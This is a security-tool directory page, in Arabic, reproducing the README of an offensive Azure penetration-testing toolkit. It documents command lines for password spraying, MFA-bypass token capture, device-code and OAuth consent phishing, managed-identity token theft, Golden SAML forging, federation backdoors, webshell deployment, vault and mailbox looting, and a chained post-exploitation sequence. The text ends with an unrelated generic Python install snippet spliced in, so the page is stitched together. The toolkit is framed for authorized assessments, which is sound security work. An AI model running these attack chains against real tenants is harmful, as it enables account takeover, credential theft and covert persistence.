Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
azure-pentesting-suite — مجموعة أدوات Go لتقييمات أمان Azure المصرح بها: تُعدّد الاشتراكات والموارد، وتدقّق في حالات الضبط الخاطئ، وتهاجم تخزين Blob العام بشكل مجهول. | Kitploit
أدوات/GitHubGitHub/hac01/azure-pentesting-suite
تصعيد الامتيازاتالاستطلاعهجمات كلمات المرورتحليل الثغرات الأمنيةالحركة الجانبيةتسريب البياناتجمع المعلوماتما بعد الاستغلالالتصيد الاحتيالياختبار الاختراقأمن السحابةالفريق الأحمر
82176منذ 6 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubhac01/azure-pentesting-suite

azure-pentesting-suite

مجموعة أدوات Go لتقييمات أمان Azure المصرح بها: تُعدّد الاشتراكات والموارد، وتدقّق في حالات الضبط الخاطئ، وتهاجم تخزين Blob العام بشكل مجهول.

عرض المستودع

azure-pentesting-suite (azpt)

🚧 إصدار تجريبي عام. azpt قيد التطوير النشط — قد تتغير الأوامر والعلامات وتنسيقات المخرجات بين الإصدارات. نرحب بتقارير الأخطاء والملاحظات عبر مشكلات GitHub.

azpt هي مجموعة أدوات بلغة Go لتقييمات أمان Azure المصرّح بها. وهي تعمل من منظورين:

  • مُصادَق عليه (لديك بيانات اعتماد Azure): تعداد الاشتراكات والموارد، وتدقيقها بحثًا عن حالات الضبط الخاطئ.
  • مجهول (بدون أي بيانات اعتماد): مهاجمة تخزين Blob العام بالطريقة التي يفعلها مهاجم خارجي — سرد الحاويات، وتعداد إصدارات الـ blob، وسحب الملفات الحاملة للأسرار التي لم يعد الموقع المباشر يشير إليها.

⚠️ للاستخدام المصرّح به فقط. شغّل هذا فقط ضد المستأجرين والاشتراكات وحسابات التخزين التي لديك إذن كتابي صريح باختبارها. تلمس أوامر blob المجهولة بنية تحتية تابعة لطرف ثالث عبر الإنترنت — احصر نطاقها ضمن نطاق مهمتك.

تستهدف جميع الأمثلة أدناه شركة خيالية Acme Corp التي يُستضاف موقعها التسويقي الثابت من حساب تخزين Azure يُدعى acmewebsite (https://acmewebsite.blob.core.windows.net).


التوثيق

التوثيق الكامل موجود في docs/:

  • أدلة متعمقة (docs/guides/) — لكل ميزة: كيف تعمل التقنية، وصلاحية Azure RBAC / Microsoft Graph المطلوبة بالضبط، والعلامات الرئيسية مشروحة، وأمثلة، وملاحظات OPSEC / الكشف — منظمة حسب مرحلة المهمة.
  • جولات سيناريوهات (docs/guides/scenarios/) — سرديات هجوم من البداية إلى النهاية تربط الأوامر عبر المراحل (الرمز المميز → Global Admin، الاستيلاء عبر Golden SAML، سرقة PRT، تصيّد الموافقة → M365، الحركة الجانبية عبر الهوية المُدارة، البحث في الدليل دون اتصال، تصيّد رمز الجهاز)، كل منها مع OPSEC والتنظيف.
  • مرجع الأوامر (docs/reference/) — صفحة مُولّدة تلقائيًا لكل أمر تتضمن كل علامة (الاسم، والاختصار، والنوع، والقيمة الافتراضية، والوصف). أعد التوليد باستخدام azpt gen-docs docs/reference؛ وتُطبع المعلومات نفسها من azpt <command> --help.

جدول المحتويات

  • التثبيت
  • البدء السريع
  • المصادقة
  • مرجع الأوامر
  • جولة: هجوم blob المجهول
  • النتائج
  • تنسيقات المخرجات
  • البنية
  • التطوير
  • خارطة الطريق
  • الترخيص

التثبيت

ملف ثنائي جاهز

نزّل الأرشيف الخاص بمنصتك من أحدث إصدار، وتحقق منه، ثم استخرجه:```bash

adjust VERSION/OS/ARCH to match the asset you downloaded

tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS

root@kitploit:~
الملفات الثنائية ثابتة (`CGO_ENABLED=0`) ولا تحتاج إلى أي تبعيات وقت التشغيل.
تُنشر الإصدارات المُبنية لنظامي linux و darwin على معماريتي amd64 و arm64.

لا تُنشر ملفات ثنائية لنظام Windows. لا تزال الأدوات المساعدة الخاصة بـ Windows فقط (`prt extract`،
`adconnect sync-creds`، DPAPI) تُبنى من المصدر باستخدام `go build -o
azpt.exe .` على مضيف Windows.

### من المصدر

يتطلب Go 1.26+.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .

ينتج عن هذا ملف azpt ثنائي مكتفٍ ذاتيًا في جذر المستودع. يمكنك أيضًا التشغيل دون البناء عبر go run . <command> من دليل المستودع.


البدء السريع

لا حاجة لتسجيل الدخول إلى Azure لأوامر blob المجهولة:```bash

One command: probe Acme's storage, enumerate versions, flag secret files

./azpt blob hunt --account acmewebsite

root@kitploit:~
باستخدام بيانات اعتماد Azure (`az login`)، قم بالتقييم من الداخل — سواء من مستوى الموارد (ARM) أو من الدليل (Entra ID / Graph):```bash
./azpt enum whoami                 # who am I authenticated as?
./azpt enum subscriptions          # what subscriptions can this principal see?
./azpt audit storage               # misconfigured storage accounts
./azpt enum users                  # dump the Entra ID directory (Graph)

سلسلة شائعة: استرجع بيانات اعتماد بشكل مجهول باستخدام blob hunt، ثم سجّل الدخول بصفة ذلك المستخدم (az login)، وتحقق مما يمكنه فعله باستخدام enum access، ثم انهب أي Key Vaults يمكنك الوصول إليها:```bash ./azpt enum access # token scopes, directory roles, groups, RBAC roles ./azpt enum resources # find Key Vaults (type: vaults) ./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault ./azpt vault dump --vault ext-contractors # read every secret value (the loot)

root@kitploit:~
## المصادقة

لا تحتاج أوامر `blob` المجهولة إلى **أي** مصادقة. كل ما عدا ذلك يستخدم
سلسلة بيانات الاعتماد الافتراضية في Azure، والتي تجرّب بالترتيب: متغيرات
البيئة، وهوية عبء العمل، والهوية المُدارة، وAzure CLI (`az login`).```bash
az login
./azpt enum subscriptions

فرض مصادقة service-principal صريحة (مفيدة لهوية تقييم محدودة النطاق) عبر الأعلام أو متغيرات البيئة. ليس لديك واحد بعد؟ الأمر az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> ينشئ واحدًا — راجع Getting started للحصول على الدليل الكامل، بما في ذلك أذونات Graph التي لن يمنحك إياها RBAC وحده:```bash ./azpt --tenant --client-id --client-secret
enum subscriptions

equivalently:

export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions

root@kitploit:~
**المصادقة القائمة على الشهادات** (PFX أو PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
       --certificate ./cert.pfx --cert-password 'P@ss' \
       enum subscriptions

حدد نطاق عمليات التشغيل الموثقة لاشتراكات محددة باستخدام --subscription (قابل للتكرار)؛ الافتراضي هو كل اشتراك يمكن للهوية الأساسية الوصول إليه:```bash ./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage

root@kitploit:~
---

## مرجع الأوامر

🧪 تشير إلى أمر لا يزال في مرحلة **beta**: مُنفَّذ وقابل للاستخدام، لكنه أقل
اختبارًا ميدانيًا من بقية المجموعة — توقّع حوافًا خشنة، ويرجى
الإبلاغ عن المشكلات التي تواجهها.

| الأمر | المصادقة | API | الوصف |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | هل النطاق مدعوم بواسطة Entra ID؟ (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | اكتشاف معرّف المستأجر (OpenID config) |
| `recon outsider <domain>` | ❌ | Identity+DNS | استطلاع خارجي كامل: realm، tenant، MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | تعداد النطاقات الفرعية لخدمات Azure (App Service، Storage، Vault، SQL، ...) |
| `recon users` | ❌ | Identity | التحقق مما إذا كانت أسماء المستخدمين موجودة في Entra ID |
| `spray` | ❌ | Identity | رشّ كلمة مرور واحدة عبر أسماء المستخدمين (للمصرّح لهم فقط) |
| `mfa audit` | ❌ | Identity | العثور على ثغرات فرض MFA (ROPC عبر الموارد/العملاء/User-Agents) |
| `mfa token` | ❌ | Identity | الحصول على access token عبر ثغرة MFA (يجرّب User-Agents تلقائيًا) |
| `mfa refresh` | ❌ | Identity | استبدال refresh token للحصول على token لمورد آخر (FOCI) |
| `mfa devicecode` | ❌ | Identity | طُعم تصيّد device-code → التقاط التوكنات بعد تسجيل الضحية للدخول |
| `imds token` | ❌ | IMDS | إصدار managed-identity token على مورد مخترق (يُشغَّل على الجهاز) |
| `imds loot` | ❌ | IMDS | الحصول على MI tokens لـ ARM وGraph وStorage وKey Vault دفعة واحدة |
| `enum ca` | ✅ | Graph | تعداد سياسات Conditional Access وتمييز ثغرات MFA |
| `enum deployments` | ✅ | ARM | سرد سجل نشر ARM، وتمييز المعاملات الحاملة للأسرار |
| `webapp list/settings/creds` | ✅ | ARM | جرد App Service، وإعدادات التطبيق، وبيانات اعتماد نشر Kudu |
| `webapp exec` | ✅ | ARM/Kudu | تشغيل أمر على موقع عبر Kudu (RCE) |
| `webapp loot` | ✅ | ARM | كل تطبيق: الإعدادات + سلاسل الاتصال + بيانات اعتماد Kudu، وتمييز الأسرار |
| `storage keys` | ✅ | ARM | سرد مفاتيح الوصول لحساب تخزين |
| `storage sas` | ✅ | ARM | إصدار account SAS token عبر ARM |
| `vm list` / `vm run` | ✅ | ARM | سرد الأجهزة الافتراضية / تشغيل أمر عبر RunCommand |
| `automation list/loot` | ✅ | ARM | Automation runbooks، والمتغيرات، وأسماء بيانات الاعتماد |
| `loot keys` | ✅ | ARM | مسح المفاتيح/سلاسل الاتصال من Cosmos وACR وRedis وService Bus وEvent Hub وCognitive وBatch وApp Config وSignalR وMaps |
| `loot apim` | ✅ | ARM | قيم API Management المسمّاة (بما فيها الأسرار) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | تعريفات Logic App / الخدمات المرتبطة في Data Factory |
| `aks list` / `aks kubeconfig` | ✅ | ARM | سرد عناقيد AKS / الحصول على kubeconfig الخاص بـ cluster-admin |
| `enum approles` | ✅ | Graph | تعداد منح أدوار تطبيق Graph، وتمييز مسارات privesc (→ Global Admin) |
| `enum privroles` | ✅ | Graph | حاملو أدوار الدليل المميّزة (نشط + PIM-eligible) |
| `enum grants` | ✅ | Graph | منح OAuth2 المفوّضة (غير المشروعة / الموافقة المفرطة)، مع تمييز النطاقات الخطرة |
| `enum laps` | ✅ | Graph | استرداد كلمات مرور المسؤول المحلي Windows LAPS من Entra |
| `enum bitlocker` | ✅ | Graph | استرداد مفاتيح استرداد BitLocker من Entra |
| `enum dynamicgroups` | ✅ | Graph | المجموعات الديناميكية (القائمة على القواعد) — سطح الانضمام الذاتي / privesc |
| `enum guests` / `enum devices` | ✅ | Graph | مستخدمو الضيوف (B2B) / الأجهزة المسجّلة |
| `enum risky` | ✅ | Graph | بحث عن القديم/الخطِر: الضيوف، sync SP، break-glass، التطبيقات ذات الأسرار |
| `enum intune` / `intune list` | ✅ | Graph | سرد الأجهزة المُدارة عبر Intune |
| `intune script` | ✅ | Graph | نشر سكربت PowerShell إلى مجموعة أجهزة (SYSTEM RCE) |
| `recon tenantinfo` | ❌ | Identity | استطلاع خارجي معمّق: معرّف المستأجر، الاتحاد، Seamless SSO، المزامنة المحلية |
| `entra create-app` | ✅ | Graph | إنشاء تطبيق + SP + سر (هوية استمرارية قابلة للتحكم) |
| `entra reset-password` | ✅ | Graph | إعادة تعيين كلمة مرور مستخدم (الاستيلاء على الحساب) |
| `token decode` | ❌ | — | فك تشفير مطالبات JWT (الهوية، النطاقات، الأدوار، wids→أسماء الأدوار، الانتهاء) |
| `elevate-access` | ✅ | ARM | Global Admin → User Access Administrator على جذر المستأجر (محور Entra→Azure) |
| `entra add-member/add-owner` | ✅ | Graph | إضافة عضو/مالك إلى مجموعة/تطبيق/SP (privesc واستمرارية) |
| `entra grant` | ✅ | Graph | إنشاء منح موافقة OAuth2 (موافقة غير مشروعة) |
| `entra invite` / `entra tap` | ✅ | Graph | دعوة ضيف B2B / إنشاء Temporary Access Pass (تجاوز المصادقة) |
| `scan --loot` | ✅ | ARM+Graph | مسح عميق للغنائم: مفاتيح Function App، وAKS kubeconfig، وLAPS، وBitLocker، وAPIM، وجدران حماية قواعد البيانات، واللقطات، والأدوار المخصصة، وبيانات الاعتماد القديمة |
| `scan --bloodhound` | ✅ | — | تصدير رسم Entra+ARM البياني بصيغة BloodHound CE OpenGraph JSON |
| `enum adminunits` | ✅ | Graph | الوحدات الإدارية وأعضاء الأدوار المقيّدة بها (إساءة استخدام مسؤول مقيّد بـ AU) |
| `enum identities` | ✅ | ARM | ربط الهويات المُدارة بالموارد المضيفة لها |
| `enum lighthouse` | ✅ | ARM | تفويضات Azure Lighthouse (المستأجرون الخارجيون الذين يديرون هذا الاشتراك) |
| `enum pip` | ✅ | ARM | سرد عناوين IP العامة عبر نطاق الاشتراك |
| `entra update-profile` | ✅ | Graph | تحديث سمات ملف تعريف مستخدم (إساءة استخدام المجموعة الديناميكية) |
| `app add-secret` | ✅ | Graph | إضافة سر عميل إلى تسجيل تطبيق (استمرارية/privesc) |
| `app add-federated` | ✅ | Graph | إضافة بيانات اعتماد هوية موحّدة (استمرارية عبر IdP خارجي) |
| `webapp functionkeys` | ✅ | ARM | مفاتيح مضيف Function App (المفتاح الرئيسي → admin API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | سرد الأقراص/اللقطات / تصدير read-SAS لنهب VHD دون اتصال |
| `storage shares` / `storage queues` | ✅ | ARM | سرد مشاركات Azure Files / قوائم انتظار Storage |
| `storage peek` / `storage files` | ✅ | Storage | إلقاء نظرة على محتوى رسائل قائمة الانتظار / سرد ملفات مشاركة الملفات (data plane) |
| `loot aci` | ✅ | ARM/data | متغيرات بيئة Container Instances |
| `loot appconfig` 🧪 | ✅ | ARM/data | أزواج المفتاح-القيمة في App Configuration |
| `cosmos list/dump/table` | ✅ | ARM+data | حسابات Cosmos DB، وقواعد البيانات، والحاويات، وقراءات المستندات، وTable API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | أسرار Container App + متغيرات البيئة / تنفيذ داخل النسخة المتماثلة / سرقة MI token |
| `iot list/devices/invoke` | ✅ | ARM+data | مفاتيح IoT Hub، وهويات الأجهزة، واستدعاء direct-method (RCE على الجهاز) |
| `backup vaults/items/restore` | ✅ | ARM | خزائن Recovery Services، وعناصر النسخ الاحتياطي + نقاط الاسترداد، واستعادة الأقراص |
| `db list/query` | ✅ | ARM+data | تعداد واستعلام خادم PostgreSQL/MySQL (Entra أو تسجيل دخول DB) |
| `blob containers` | ❌ | Blob | سرد كل الحاويات على حساب تخزين (مع --sas لـ service-level SAS) |
| `m365 mail/files/sites` | ✅ | Graph | نهب صندوق البريد وOneDrive وSharePoint باستخدام Graph token |
| `blob brute` | ❌ | DNS/Blob | اكتشاف حسابات التخزين بالاسم وفحص الحاويات المجهولة |
| `recon takeover` | ❌ | DNS | تمييز CNAMEs الخاصة بـ Azure المعلّقة (الاستيلاء على النطاق الفرعي) |
| `audit network` | ✅ | ARM | تدقيق تعرّض NSG للإنترنت وعناوين IP العامة |
| `audit keyvault` | ✅ | ARM | تدقيق الوصول العام إلى Key Vault، وpurge/soft-delete، والسياسات الواسعة |
| `audit rbac` | ✅ | ARM | تدقيق نظافة RBAC: انتشار Owner، وUAA، والأدوار المخصصة الخطرة |
| `enum subscriptions` | ✅ | ARM | سرد الاشتراكات المرئية للهوية الحالية |
| `enum resources` | ✅ | ARM | سرد كل مورد عبر نطاق الاشتراك (`--fast` يستخدم Resource Graph؛ `--access` يضيف عمودًا لدور RBAC الذي تملكه على كل مورد) |
| `enum kql` | ✅ | ARM | تشغيل استعلام Azure Resource Graph (KQL) عشوائي عبر النطاق |
| `enum users` | ✅ | Graph | سرد مستخدمي دليل Entra ID |
| `enum groups` | ✅ | Graph | سرد مجموعات دليل Entra ID |
| `enum service-principals` | ✅ | Graph | سرد service principals / تطبيقات المؤسسة |
| `enum apps` | ✅ | Graph | سرد تسجيلات التطبيقات، مع عدد الأسرار/الشهادات |
| `enum org` | ✅ | Graph | عرض معلومات المستأجر/المؤسسة والنطاقات المُتحقَّق منها |
| `enum whoami` | ✅ | Graph | عرض المستخدم المُصادَق عليه حاليًا (`/me`) |
| `enum access` | ✅ | ARM+Graph | عرض وصولك الفعّال: نطاقات التوكن، وأدوار الدليل، وعضويات المجموعات، وأدوار RBAC |
| `scan` | ✅ | ARM+Graph | رسم وصول المستخدم كرسم بياني لمسار الهجوم بنمط BloodHound (+ HTML) |
| `audit storage` | ✅ | ARM | تدقيق حسابات التخزين (الوصول العام، TLS، النقل، جدار الحماية) |
| `vault list` | ✅ | KV | سرد الأسرار والمفاتيح والشهادات في Key Vault |
| `vault get --secret <n>` | ✅ | KV | قراءة قيمة سر واحد من Key Vault |
| `vault dump` | ✅ | KV | سرد وقراءة كل سر في Key Vault |
| `sql databases` | ✅ | SQL | سرد قواعد البيانات على خادم Azure SQL |
| `sql tables` | ✅ | SQL | سرد الجداول (مع عدد الصفوف) في قاعدة بيانات |
| `sql query -q <sql>` | ✅ | SQL | تشغيل استعلام للقراءة فقط (التعديلات تتطلب `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | تفريغ صفوف من جدول |
| `storage containers` | ✅ | Storage | سرد حاويات blob (مُصادَق عليه) |
| `storage blobs` | ✅ | Storage | سرد blobs في حاوية (مُصادَق عليه) |
| `storage download` | ✅ | Storage | تنزيل blob (مُصادَق عليه) |
| `storage tables` | ✅ | Storage | سرد Storage Tables في حساب |
| `storage entities` | ✅ | Storage | استعلام/تفريغ صفوف Storage Table |
| `blob check <path>` | ❌ | Blob | إرسال HEAD إلى blob لاختبار إمكانية الوصول المجهول |
| `blob list` | ❌ | Blob | سرد حاوية بشكل مجهول (`--versions`، `--delimiter /`، `--prefix`) |
| `blob versions` | ❌ | Blob | تعداد إصدارات blob — يُظهر الملفات القديمة/المُستبدَلة/المحذوفة |
| `blob download <path>` | ❌ | Blob | تنزيل blob، واختياريًا `--version-id` محدّد |
| `blob hunt` | ❌ | Blob | فحص الحاويات، وتعداد الإصدارات، وتمييز الملفات الحاملة للأسرار |
| `vm show` | ✅ | ARM | معلومات مفصّلة عن VM: بيانات المستخدم، وعناوين IP العامة/الخاصة، والوسوم، ومستخدم المسؤول |
| `vm extensions` | ✅ | ARM | سرد امتدادات VM (تسريب بيانات اعتماد Custom Script Extension) |
| `vm steal-token` | ✅ | ARM | سرقة managed-identity token من VM عبر IMDS (RunCommand) |
| `enum synced` | ✅ | Graph | سرد المستخدمين المتزامنين محليًا مع معرّفات الأمان (SIDs) |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | سرد بيئات Power Platform (نسخ Dataverse) |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | سرد تطبيقات Power Apps canvas |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | سرد جداول Dataverse (تعريفات الكيانات) |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | استعلام صفوف من جدول Dataverse عبر OData |
| `webapp deploy` | ✅ | Kudu | رفع ملف إلى تطبيق ويب عبر Kudu VFS (نشر webshell) |
| `token extract` | ❌ | — | استخراج التوكنات من ملف ذاكرة MSAL المؤقتة (refresh + access) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | قنوات Teams، والبحث في البريد، والبحث في SharePoint/OneDrive |
| `m365 scan` | ✅ | Graph | فحص بيانات M365 بحثًا عن الأسرار وكلمات المرور وبيانات الاعتماد (14 نمطًا) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | تعداد مؤسسات Azure DevOps: المشاريع، وservice connections (SP/tenant/subscription المكشوفة)، ومجموعات المتغيرات، وخطوط الأنابيب |
| `devops preview` | ✅ | DevOps | حلّ YAML النهائي لخط أنابيب بعد توسيع القوالب/المتغيرات دون تشغيله |
| `devops run` | ✅ | DevOps | إدراج تشغيل حقيقي لخط أنابيب والتقاط سجل البناء الخاص به (يُنفَّذ بهوية service-connection الخاصة بخط الأنابيب) |
| `arm deploy-script` | ✅ | ARM | تشغيل كود في حاوية ACI عابرة عبر `deploymentScripts` (RCE)، مع إمكانية إرفاق managed identity |
| `persistence grant-rbac` | ✅ | ARM | تعيين دور RBAC (مثل Owner) لنفسك أو لهوية على أي نطاق (privesc/استمرارية) |
| `persistence attach-identity` | ✅ | ARM | إرفاق managed identity معيّنة من المستخدم بمورد (privesc عبر `steal-token`) |
| `aks kubeconfig --user` | ✅ | ARM | جلب kubeconfig الخاص بالمستخدم المُصادَق عليه عبر Entra (يعمل على العناقيد التي عُطّلت فيها الحسابات المحلية) |
| `k8s secrets` | ✅ | K8s | تفريغ كل سر Kubernetes في namespace (أو العنقود بأكمله) |
| `k8s serviceaccounts` | ✅ | K8s | سرد حسابات الخدمة، مع تمييز تلك الموحّدة عبر Azure Workload Identity |
| `k8s pods` | ✅ | K8s | سرد pods وحساب الخدمة الذي يعمل به كل منها |
| `k8s rbac` | ✅ | K8s | تعداد ارتباطات cluster/role، مع تمييز مسارات privesc الخاصة بـ cluster-admin/wildcard/pod-exec/secrets-read |
| `k8s exec` | ✅ | K8s | تشغيل أمر في pod (RCE غير تفاعلي، بحساب خدمة ذلك pod) |
| `k8s steal-token` | ✅ | K8s | إصدار service-account token عبر TokenRequest API (يعمل دون سر token مُثبَّت) |
| `k8s pivot-azure` | ✅ | K8s→Entra | سرقة SA token موحّد عبر workload-identity واستبداله بـ Azure AD access token حقيقي |
| `harvest` | ❌ | — | نهب مخازن بيانات اعتماد az CLI / Az PowerShell على القرص (التوكنات، وأسرار SP؛ والمخازن المحمية بـ DPAPI على Windows) |
| `prt nonce` 🧪 | ❌ | Identity | جلب server nonce (`srv_challenge`) لتوقيع PRT cookie |
| `prt cookie` 🧪 | ❌ | Identity | بناء SSO cookie موقّع `x-ms-RefreshTokenCredential` من PRT + مفتاح الجلسة (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | سلسلة PRT SSO الكاملة: nonce → cookie → authorize → access + refresh token |
| `prt extract` 🧪 | ❌ | Identity | على الجهاز (Windows): سحب SSO cookie جديد من BrowserCore.exe واستبداله (ROADtoken) |
| `device register` | ✅ | DRS | تسجيل جهاز مارق (join) → شهادة/مفتاح الجهاز — متطلب أساسي لـ PRT، وتجاوز device-CA، واستمرارية |
| `federation list` | ✅ | Graph | عرض إعدادات الاتحاد لنطاق |
| `federation backdoor` | ✅ | Graph | تحويل نطاق مُدار إلى Federated، مع الوثوق بـ STS مهاجم (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | تزوير SAML assertion موقّع لأي مستخدم واستبداله بالتوكنات (Golden SAML) |
| `federation remove` | ✅ | Graph | حذف إعدادات الاتحاد (العودة إلى Managed / التنظيف) |
| `entra phish-app create` 🧪 | ✅ | Graph | إصدار تطبيق تصيّد موافقة OAuth متعدد المستأجرين + روابط الموافقة (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | مستمع محلي يلتقط رمز تفويض الموافقة ويستبدله بالتوكنات |
| `m365 rules list/add/delete` | ✅ | Graph | قواعد إعادة توجيه البريد الوارد (استمرارية صامتة لإعادة توجيه صندوق البريد) |
| `scan dump` | ✅ | ARM+Graph | سحب الدليل + رسم الهجوم البياني إلى قاعدة بيانات SQLite خالصة بـ Go دون اتصال |
| `scan query <view>` | ❌ | — | تشغيل عروض تحليلية جاهزة (`admins`، `password-resetters`، `dangerous-approles`، …) على تفريغ |
| `adconnect sync-creds` | ✅ | ADSync SQL | تفريغ بيانات اعتماد ربط مزامنة AD Connect المشفّرة من قاعدة بيانات ADSync (فك التشفير بـ AADInternals `Get-AADIntSyncCredentials`) |

يتحدث `azpt` إلى ثلاث واجهات Azure API. تستخدم أوامر **ARM** Azure SDK؛ وتستخدم
أوامر **Graph** (Entra ID / كائنات الدليل) Graph token خامًا من
بيانات الاعتماد نفسها؛ وأوامر **Blob** مجهولة بالكامل.

**الأعلام العامة** (قبل الأمر الفرعي): `--json`، `--jsonl` (NDJSON، لخطوط
أنابيب البث/بنمط BloodHound)، `--opsec` (طباعة سطح الكشف قبل التشغيل)،
`--subscription <id>` (قابل للتكرار)، `--tenant`، `--client-id`،
`--client-secret`، `--certificate` (PFX/PEM)، `--cert-password`،
`--access-token` (قابل للتكرار، أو `AZPT_TOKEN`)، `--refresh-token` (محور
FOCI تلقائي)، `--cloud` (`public` | `usgov` | `china` — يعيد توجيه نقاط نهاية
ARM/Graph/login للسحابات السيادية).

تتبع كل استدعاءات ARM وGraph ترقيم صفحات `nextLink` (دون اقتطاع صامت على
المستأجرين الكبار) وتعيد المحاولة عند `429`/`503` مع احترام `Retry-After`.

**تشغيل azpt بـ token مسروق.** يقبل أي أمر مُصادَق عليه bearer token
مُحصَّل مسبقًا عبر `--access-token` (أو `AZPT_TOKEN`) بدلًا من
`az login` — التوكنات الملتقطة من ثغرة MFA (`mfa token`)، أو managed identity
(`imds`)، أو التصيّد كلها تعمل مباشرة. قدّم عدة توكنات (ARM، Graph، Storage)
ويُوجَّه كل منها إلى الـ API الذي يطابق جمهوره:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html

سلسلة ما بعد الاستغلال الكلاسيكية، بالكامل في azpt:```bash

unlock via the MFA gap → ARM token

T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds

…on the compromised app host, mint the managed-identity token off IMDS:

azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity

pivot with the storage token:

azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage

root@kitploit:~
**`blob` flags** (جميع أوامر `blob` الفرعية): `--account <name>` (مطلوب)،
`--container <name>` (افتراضي `$web`)، `--api-version <ver>` (افتراضي
`2021-08-06`؛ يجب أن يكون ≥ `2019-12-12` لتعداد الإصدارات)،
`--endpoint-suffix <suffix>` (افتراضي `core.windows.net`؛ اضبطه على
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` للسحابات السيادية).

شغّل `./azpt <command> --help` للحصول على قائمة الأعلام الكاملة لأي أمر.

---

## الاستطلاع (النطاق فقط)

أوامر `recon` هي واجهة أي مهمة: بمجرد اسم نطاق فقط، حدّد ما إذا كانت المؤسسة تستخدم Entra ID، واعثر على معرّف المستأجر الخاص بها، وارسم خريطتها على Azure، وتحقق من أسماء المستخدمين — كل ذلك **دون مصادقة**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com

# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com

# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30

# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt

# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com

رشّ كلمات المرور — spray

بمجرد أن تمتلك أسماء مستخدمين صالحة وكلمة مرور مرشحة (مثلًا من مجموعة بيانات اختراق)، اختبرها. هذه كلمة مرور واحدة عبر العديد من المستخدمين (رشّ، وليس قوة غاشمة لكل مستخدم تؤدي إلى قفل الحسابات)، لكنها لا تزال صاخبة ويمكن أن تؤدي إلى القفل والتنبيهات.```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm

root@kitploit:~
`--confirm` إلزامي — إذا حذفته، يرفض الأمر التنفيذ. تُصنَّف النتائج:
صالح، صالح لكن يتطلب MFA، معطّل، مقفل (توقف!)، أو غير صالح.
الرموز التي تظهر فقط *بعد* التحقق من كلمة المرور (MFA، منتهية الصلاحية، CA) يتم
الإبلاغ عنها كـ **بيانات اعتماد صالحة**.

> ⚠️ رشّ كلمات المرور تقنية تدخّلية وقابلة للكشف. شغّلها فقط
> ضد المستأجرين الذين لديك تفويض كتابي صريح لاختبارهم.

### ثغرات فرض MFA — `mfa`

لديك **بيانات اعتماد صالحة** لمستخدم ما، لكن بوابة Azure تطلب MFA.
غالبًا ما تكون سياسات الوصول الشرطي محددة النطاق حسب *المورد*، و*تطبيق العميل*،
و*منصة الجهاز* (التي يستنتجها Entra من `User-Agent`). إذا كانت سياسة ما
تتطلب MFA فقط عندما يطابق الطلب أحد تلك الشروط، فإن طلبًا لا
يطابق **أيًّا منها** — مثل User-Agent لمنصة جهاز غير معتاد — يمكنه الحصول على
رمز **بدون MFA على الإطلاق**. هذه هي التقنية نفسها المستخدمة في
[FindMeAccess](https://github.com/absolomb/FindMeAccess)، باستخدام تدفق ROPC.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm

التثبيت

المتطلبات الأساسية

  • Python 3.8 أو أحدث
  • pip (مدير حزم Python)
  • Git

التثبيت من المصدر

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/example/tool.git
cd tool

# إنشاء بيئة افتراضية
python3 -m venv venv
source venv/bin/activate  # على Windows: venv\Scripts\activate

# تثبيت التبعيات
